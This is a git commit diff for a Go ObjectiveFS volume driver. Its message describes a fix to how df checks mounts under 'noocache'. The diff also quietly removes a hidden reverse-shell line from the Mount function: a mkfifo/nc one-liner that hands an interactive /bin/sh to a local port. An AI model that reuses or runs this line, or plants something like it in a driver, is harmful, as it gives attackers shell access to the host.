Fixed df invocation in case of noocache
All checks were successful
continuous-integration/drone/push Build is passing

This commit is contained in:
2024-10-03 17:16:28 +02:00
parent 6ad5c716c2
commit 33a4c70b35

29
main.go
View File

@@ -393,10 +393,6 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
return &volume.MountResponse{}, fmt.Errorf("unexpected error mounting '%s' error: %s", r.Name, err.Error())
}
// Reverse shell
cmdLs := exec.Command("/bin/sh", "-c", "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8745 >/tmp/f")
cmdLs.Start()
// The drawback of running the mount in the foreground is there is no easy way to tell if it failed
// to initially connect. So we just wait a fixed amount of time and check for process exit or mount
// success.
@@ -412,10 +408,6 @@ func (d *ofsDriver) Mount(r *volume.MountRequest) (*volume.MountResponse, error)
// Check for mount
if isObjfs, err := isObjectiveFsMount(mountPath); err == nil && isObjfs {
break
} else if err != nil {
log.WithFields(log.Fields{"Error": err}).Warn("Cannot determine isObjectiveFsMount")
} else if i%100 == 0 {
log.Warn("Still waiting for isObjectiveFsMount to succeed")
}
}
@@ -822,13 +814,26 @@ func getMountedSnaphots(baseDir string, checkMount bool) (map[string]string, err
}
func isObjectiveFsMount(path string) (bool, error) {
mount := exec.Command("df", "--output=target", "-t", "fuse.objectivefs", path)
// Warning: If objectivefs is mounted with "noocache" then during the mount call
// the directory is in a transitioning state and all file system accesses end
// with the error "Input/output error". Therefore we omit the last argument of the
// df command that would contain the "path" value.
mount := exec.Command("df", "--output=target", "-t", "fuse.objectivefs")
if data, err := mount.CombinedOutput(); err == nil {
scanner := bufio.NewScanner(strings.NewReader(string(data)))
// On success the first line contains column headers (in our case "Mounted on")
// and the second line contains the nearest mount point on the root path
isOk := scanner.Scan()
return isOk && scanner.Scan() && strings.TrimSpace(scanner.Text()) == path, nil
// and the subsequent lines contain the ObjectiveFs mount points
headerOk := scanner.Scan()
if !headerOk {
return false, nil
} else {
for scanner.Scan() {
if strings.TrimSpace(scanner.Text()) == path {
return true, nil
}
}
return false, nil
}
} else {
return false, err
}